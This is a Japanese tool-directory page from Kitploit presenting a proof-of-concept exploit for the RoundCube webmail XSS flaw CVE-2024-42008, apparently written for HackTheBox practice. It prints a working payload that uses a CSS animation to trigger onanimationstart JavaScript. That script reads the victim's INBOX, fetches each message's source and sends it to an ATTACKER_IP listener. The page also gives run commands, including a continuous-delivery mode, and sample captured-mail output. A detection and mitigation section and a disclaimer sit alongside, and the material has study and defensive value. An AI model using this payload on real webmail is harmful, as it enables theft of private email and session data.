Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Roundcube-CVE-2024-42008-POC | Kitploit
ツール/GitHubGitHub/rpgsec/roundcube-cve-2024-42008-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用フィッシングCTF学習と教育
GitHubrpgsec/roundcube-cve-2024-42008-poc

Roundcube-CVE-2024-42008-POC

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-42008 RoundCube XSS エクスプロイト

概要

このリポジトリには、RoundCube Webメールアプリケーションのクロスサイトスクリプティング(XSS)脆弱性である CVE-2024-42008 の概念実証エクスプロイトが含まれています。このエクスプロイトは、教育目的および HackTheBox のような管理されたペネトレーションテスト環境向けに設計されています。

脆弱性の詳細

CVE-2024-42008 の概要

  • CVE ID: CVE-2024-42008
  • タイプ: クロスサイトスクリプティング(XSS)
  • CVSSスコア: 高
  • 影響を受けるバージョン:
    • RoundCube ≤ 1.5.7
    • RoundCube 1.6.x ≤ 1.6.7
  • 修正済みバージョン: 1.5.8、1.6.8+

技術的詳細

この脆弱性は rcmail_action_mail_get->run() に存在し、リモートの攻撃者が被害者のブラウザ上で任意の JavaScript を実行できるようにします。この欠陥は、メールコンテンツを処理する際の入力検証が不十分であることに起因しており、特に CSS アニメーションと JavaScript 実行コンテキストの処理に関連しています。

主な攻撃ベクトル:

  • 問い合わせフォームやメールメッセージを介して注入される悪意のある HTML コンテンツ
  • JavaScript の実行をトリガーするために使用される CSS アニメーションプロパティ
  • コンテンツフィルターをバイパスする onanimationstart イベントハンドラー
  • Webメールアプリケーションのコンテキストで実行される JavaScript ペイロード

影響

エクスプロイトが成功すると、攻撃者は以下を行うことができます:

  • INBOX やその他のフォルダから被害者のメールを盗む
  • メールのメタデータを外部送信する(UID、メッセージリスト)
  • メールのソースコードや添付ファイルにアクセスする
  • 被害者のアカウントからメールを送信する
  • ログイン認証情報やセッショントークンを収集する
  • 被害者に代わって操作を実行する

エクスプロイトスクリプトの解析

スクリプトの構成

このエクスプロイトは、3つの主要なコンポーネントで構成されています:

  1. XSSペイロードの配信: 問い合わせフォームを介して悪意のある HTML を送信します
  2. HTTPサーバー: 外部送信されたデータを待ち受けます
  3. データ処理: 盗まれたメールをキャプチャして記録します

ペイロードの内訳

root@kitploit:~
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Fetch email list from victim's INBOX
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extract email UIDs using regex
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. For each email, fetch full source
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrate email data to attacker server
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

主な機能

  • 継続動作: 定期的にペイロードを送信できます
  • ステルスモード: 最小限のフットプリントとエラーハンドリング
  • データロギング: 外部送信されたメールの自動キャプチャと保存
  • デバッグモード: トラフィック解析のためのプロキシサポート
  • 設定可能: 複数のコマンドラインオプション

使用方法

前提条件

root@kitploit:~
pip install requests

基本的な使い方

root@kitploit:~
# Single payload delivery
python cve-2024-42008-exploit.py

# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c

# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60

# Debug mode with proxy
python cve-2024-42008-exploit.py -d

設定

スクリプトを編集して以下を設定します:

  • ATTACKER_IP: 待ち受けサーバーの IP アドレス
  • ATTACKER_PORT: 外部送信データを受信するポート
  • RECIPIENT_EMAIL: 対象のメールアドレス
  • TARGET_URL: 脆弱な RoundCube インスタンス
  • PROXY: デバッグ用のプロキシサーバー(Burp Suite/Caido)

コマンドラインオプション

オプション説明
-d, --debugプロキシサポート付きでデバッグモードを有効にする
-c, --continuousペイロードを継続的に送信する
-i, --intervalペイロード間の間隔(デフォルト: 30秒)

攻撃の流れ

  1. ペイロード注入: スクリプトが問い合わせフォームを介して悪意のある HTML を送信します
  2. メール配信: 脆弱な RoundCube がメールを処理して配信します
  3. 被害者の操作: ユーザーが悪意のあるメールを開く/表示します
  4. XSSの実行: CSS アニメーションが JavaScript ペイロードをトリガーします
  5. データの外部送信: JavaScript がメールを盗み、攻撃者に送信します
  6. データの取得: エクスプロイトサーバーが盗まれたデータを受信して記録します

検出と対策

防御側の視点

検出の兆候:

  • メールコンテンツ内の異常な CSS アニメーションプロパティ
  • HTML 内の onanimationstart イベントハンドラー
  • メールメッセージ内の不審な JavaScript
  • Webメールから未知のドメインへの送信リクエスト
  • 問い合わせフォームの繰り返し送信

緩和策:

  • RoundCube をバージョン 1.5.8 または 1.6.8+ に更新する
  • コンテンツセキュリティポリシー(CSP)を実装する
  • メールコンテンツフィルタリングを有効にする
  • 不審な送信トラフィックを監視する
  • Webメール設定の定期的なセキュリティ監査

ペネトレーションテスター向け

テストに関する考慮事項:

  • テスト前に適切な認可を確認する
  • 報告用にすべての活動を記録する
  • 隔離された環境でのみテストする
  • 対象が意図的に脆弱であることを確認する
  • 責任ある開示の慣行に従う

法的および倫理的考慮事項

⚠️ 警告: このエクスプロイトは、教育および認可されたテスト目的のみで提供されています。

  • 自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください
  • HackTheBox および類似の学習プラットフォーム向けに設計されています
  • 不正使用は現地および国際法に違反する可能性があります
  • 常に責任ある開示の慣行に従ってください
  • プライバシーとデータ保護規制を尊重してください

技術リファレンス

  • CVE-2024-42008 公式エントリ
  • RoundCube セキュリティアドバイザリ
  • CWE-79: クロスサイトスクリプティング

出力例

root@kitploit:~
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200

[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log

免責事項

このコードは、教育目的および認可されたペネトレーションテストのみを目的として提供されています。作者は、このソフトウェアによって引き起こされた誤用や損害について責任を負いません。システムをテストする前に、必ず適切な認可を取得してください。

ツールをダウンロード